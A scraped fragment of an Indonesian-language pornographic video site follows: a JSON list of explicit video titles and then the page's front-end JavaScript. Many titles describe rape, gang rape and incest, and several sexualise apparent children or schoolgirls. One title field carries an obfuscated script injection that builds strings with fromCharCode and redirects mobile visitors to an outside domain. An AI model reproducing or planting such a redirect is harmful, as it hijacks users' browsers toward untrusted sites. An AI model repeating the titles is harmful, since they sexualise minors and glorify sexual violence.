Seks dengan pacar harimau putihmu sampai dia tertutup stoking putih.","lastmod":"2026-07-11","duration":"08:50","url":"/play/19163263.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzJlZjAyZDdiZjg5ZTE1MTRlMDcwNjQxZDJkY2I3ZGEuanBn.cache","vod_id":18974031,"title":"[Subtitle Bahasa Mandarin] MRHP-019 Catatan tentang masalah pengiriman! Aku tak bisa menahan godaan pantat besar wanita yang sudah menikah, bahkan saat dia berpakaian, jadi aku memasukkan penisku ke dalam dirinya setiap hari dan berejakulasi di dalam dirinya.","lastmod":"2025-12-14","duration":"02:09:15","url":"/play/18974031.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjQ0NjJjNGQ3YmU3ZTc4M2Y0YTBmNDZiZjRlZWJlYTYuanBn.cache","vod_id":19148972,"title":"MIDV-631-C membantu seorang gadis kecil yang kedinginan dan tidak responsif secara seksual memahami arti sebenarnya dari seks! Seorang pria tua yang perkasa memperkosanya beramai-ramai, berejakulasi di dalam dirinya hingga air maninya menyembur keluar.","lastmod":"2026-03-18","duration":"01:57:25","url":"/play/19148972.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDVmMTZlNzVmODJiMDUyZWJhZmUwNjU3MWM4MjQxMzYuanBn.cache","vod_id":19001868,"title":"MEYD-540 Aku bertemu dengan istri tetanggaku yang sombong dan cantik di rumah bordil tempat seks dilarang. Setelah memergokinya basah, aku memaksanya dan berejakulasi di dalam dirinya! Aku mengubahnya menjadi budak seks yang patuh, bahkan di luar rumah. (Fukada Eimi)","lastmod":"2025-03-23","duration":"01:58:41","url":"/play/19001868.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjM5Mzc5MWE0NWEzZWQ3NjQ5OTk0N2Q1YWY4MTYxMTQuanBn.cache","vod_id":18972053,"title":"BUR-608 Gadis Kecil Menunggang Kuda! 4 Jam Adegan Seks Gaya Cowgirl Orisinal dengan Ejakulasi, Dorongan Kuat dari Bawah","lastmod":"2025-12-14","duration":"04:00:37","url":"/play/18972053.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWMyZThiODExN2I0Nzk3MzE3NDIzMzZiMjY0YTRjYTkuanBn.cache","vod_id":18997635,"title":"Wanita menikah bertubuh montok dan berkulit putih disetubuhi oleh saudara laki-lakinya yang gemuk.","lastmod":"2025-12-14","duration":"54:55","url":"/play/18997635.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMzBkZmU4MjAyYWY4ZWYxMzAwYzBkYTk2NmY1OWUyYTQuanBn.cache","vod_id":19064584,"title":"Pelacur seksi ini berani melakukan apa saja! Dia akan membiarkan aku ejakulasi di dalam dirinya! Dia akan melakukannya berkali-kali! Dia tidak akan melepas pakaiannya, dia akan melakukannya sambil mengenakan pakaiannya! Kare 凤カレン AVSA-394","lastmod":"2025-12-14","duration":"01:54:39","url":"/play/19064584.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmYwYTE3YWIwNGFhMTBjNjc1NDIwNGZmZTRlNjVlMTUuanBn.cache","vod_id":19024942,"title":"OKP041 Akemi Kou, seorang gadis cantik berseragam mengenakan stoking warna kulit yang menutupi seluruh kakinya. Nikmati sensasi telapak dan jari kakinya yang basah melalui face-sitting dan foot-play, terkadang ejakulasi di dalam dirinya, terkadang menggosok bokongnya dan seks berkelompok.","lastmod":"2025-03-24","duration":"01:33:11","url":"/play/19024942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjRlMTE5ZjU5MzgzYjlkZjYyZWM0NDFmNTI5MTE2OTUuanBn.cache","vod_id":19008863,"title":"Kisah PIYO020, di mana para saudari tidak dapat menikah karena telah diputuskan oleh orang lain, berputar di sekitar kehidupan sehari-hari yang penuh liku dari kakak perempuan yang sangat mencintai adik laki-lakinya dan keduanya, termasuk ejakulasi internal paksa untuk menciptakan seorang anak oleh Miyuki Arisaka.","lastmod":"2025-03-24","duration":"03:18:44","url":"/play/19008863.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzZhZmI3MDgwMTAzZDBhNzVlZDljMzU5NzkzNzYxMGIuanBn.cache","vod_id":18979327,"title":"FC2PPV 3485995 [Rekaman Pribadi] Vagina Ami-chan yang bersih, dicukur, dan lembut, serta adegan threesome yang penuh gairah dengan banyak ejakulasi di dalam!","lastmod":"2025-12-14","duration":"01:05:23","url":"/play/18979327.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzliM2MzNTc2YmJhMDM0NDEzZjYxNmI3MzFjNmEzMGYuanBn.cache","vod_id":18962339,"title":"✿Lolita Nakal✿Gadis Selebriti Internet Lolita Nakal Berkualitas Tinggi Terbaru ▌Suzuki-kun▌Cosplay Rahasia Pemanggilan Hatsune Miku: Lubang Basah dan Lembut Merespon Penis Sang Tuan, Lubang Harimau Putih Akan Diperkosa Sampai Mati!","lastmod":"2025-12-14","duration":"00:23:56","url":"/play/18962339.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjhiZGU3N2VhYmZkMTkyYTA0MGRhMjE4ZTQ4M2Y2ZWIuanBn.cache","vod_id":19006409,"title":"BIJN-166 Ciuman Prancis Penuh Gairah dan Dorongan Piston: Seorang Ibu Rumah Tangga Dewasa, Cantik, dan Berbulu dengan Orgasme dan Kejang Berkejang yang Berkepanjangan! Payudara yang Sangat Cabul dan Kasar Secara Seksual Terus-menerus Dipertontonkan dalam Pesta Seks dan Disuntikkan dengan Ejakulasi: Benar-benar Tersesat dalam Seks Amoral! Ayako Inoue","lastmod":"2025-03-24","duration":"02:13:33","url":"/play/19006409.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTNiNzZhNzEwODgxNmNjZTQwZjM0ZjUxNjZmOTgxZmQuanBn.cache","vod_id":19163016,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}[Pertukaran Wajah] Ejakulasi Penis Besar Ju Jingyi Bocor....","lastmod":"2026-07-11","duration":"09:44","url":"/play/19163016.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjhmMDY1ZDk5NTIzOGU0NTE5MzlhYjBjY2VjYTI1YWUuanBn.cache","vod_id":18939079,"title":"[Keuntungan yang Disesuaikan] Seorang penyiar radio wanita dari White Tiger Radio, yang bosan di rumah, mencukur habis rambutnya, membuat tato kecil, mengenakan sepatu hak tinggi, dan terus bersenang-senang. Kemudian dia melepas seragam kerjanya dan mandi dalam resolusi HD 1080P.","lastmod":"2025-12-14","duration":"00:11:10","url":"/play/18939079.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDM1MGU0YTM5ZGIwNDdhYjc3OThlMTdkNTUyOGMwZGYuanBn.cache","vod_id":18998258,"title":"MIAA-177 \"Aku tidak ingin hamil sekarang!\" Seorang istri yang selingkuh, dalam upaya untuk sepenuhnya menghentikan suaminya berejakulasi di dalam dirinya, menciptakan pengalaman ejakulasi yang menakjubkan dengan bantuan dot bayi. (Shinoda Yu)","lastmod":"2025-12-14","duration":"01:55:23","url":"/play/18998258.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzlkZWZlZWY2OWE4ZWFhODBmOGQ3ZWRhYWU3MmZkNGMuanBn.cache","vod_id":19008879,"title":"Wanita pirang seksi dan cantik dengan rambut putih seperti harimau!","lastmod":"2025-03-24","duration":"27:39","url":"/play/19008879.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDUvZmFlODc3NjY0MmM0MjAyOWE0MWUxNzI4NDIxMGRlMmQuanBn.cache","vod_id":19032240,"title":"[Level 3] \"Aku dan Pacarku Berhubungan Seks Setiap Hari\"","lastmod":"2025-05-05","duration":"02:31:26","url":"/play/19032240.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI5NDExOWY2Y2UzYzAwN2JiYWQ4ODUyZGUzZDY2MTEuanBn.cache","vod_id":18951475,"title":"\"Terbaru ✅ Selebriti Internet Tingkat Atas ✅ Berita Terkini\" Puluhan Ribu Orang Mencari Rilis OnlyFans Aktris AV Tiongkok Pensiunan dengan Payudara dan Bokong Indah Chen Meihui Pemotretan Pribadi Berbayar Berbagai Teknik Inseminasi 3P Ziwei Sangat Ampuh (6)","lastmod":"2025-12-14","duration":"00:05:33","url":"/play/18951475.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmE4MDIyZWMyZWMyOTc1YWE1MDAzMjdiMTE1ZWM5YzkuanBn.cache","vod_id":18953770,"title":"\"Terbaru ✅ Selebriti Internet Tingkat Atas ✅ Berita Terkini\" Puluhan Ribu Orang Mencari Rilis OnlyFans Aktris AV Tiongkok yang sudah pensiun dengan payudara dan bokong indah Chen Meihui, pemotretan pribadi berbayar yang menampilkan berbagai gaya erotis 3P dan ejakulasi internal sangat dahsyat (3)","lastmod":"2025-03-22","duration":"00:03:45","url":"/play/18953770.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjBjYjI0MzM3NWE1MzYzYzFhNmZkNjEzMzVhN2E0YTIuanBn.cache","vod_id":18941975,"title":"MUDR-120 Sejak hari itu... gadis cantik Nagisa Mizuki yang mengenakan seragamnya diikat dan diperkosa.","lastmod":"2025-12-14","duration":"01:55:22","url":"/play/18941975.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjEvYjUyYWU1ZWExODk3YjgzZTJhYmVkNTc5YjgxNDRiZmIuanBn.cache","vod_id":19030230,"title":"Dia dengan kasar menusuk payudara besar, pantat gemuk, dan puting susu berbentuk pepaya milik harimau putih itu.","lastmod":"2025-04-21","duration":"08:51","url":"/play/19030230.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTA0ZmZkOGZjZGEzOTQ2NDA3OGQwOGVhYWZkZDVhNDMuanBn.cache","vod_id":18967944,"title":"[Subtitle Bahasa Mandarin] MUDR-214 Aku Tak Bisa Menahan Diri, Nona Umeda - Seks Tanpa Pengaman dan Ejakulasi Dini dengan Gadis Terbaik di Kelasku, Kehilangan Keperawananku - Ume Satsuki","lastmod":"2025-12-14","duration":"01:41:49","url":"/play/18967944.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9hLjE1NTEyMTAudG9wLzIwMjUxMjAyLzJObmNZOXBVLzEuanBn.cache","vod_id":19065866,"title":"Kisah nyata tentang menjadi simpanan: Gadis kuliah berpayudara besar yang saya pelihara, meskipun tidak cantik secara konvensional, sangat muda dan lembut. Saya berejakulasi di dalam dirinya dan vaginanya sangat bengkak karena telah disetubuhi.","lastmod":"2025-12-14","duration":"40:41","url":"/play/19065866.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzRhYTBlNDY0OWI0NTUwM2IzYTg4MjUwNjM2ZDdkOTQuanBn.cache","vod_id":18999726,"title":"Video Tumblr yang sangat populer ini menampilkan seorang dewi berpayudara besar seperti harimau putih dalam posisi 69 yang penuh gairah dengan semburan susu yang dahsyat, dan sangat memukau secara visual. Payudaranya yang super besar begitu besar hingga membuat jantung Anda berdebar. 1080P HD.","lastmod":"2025-03-23","duration":"11:39","url":"/play/18999726.html"}]},
videoTitle: 'Xu Lu berejakulasi di dalam tubuh seorang gadis muda yang polos.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}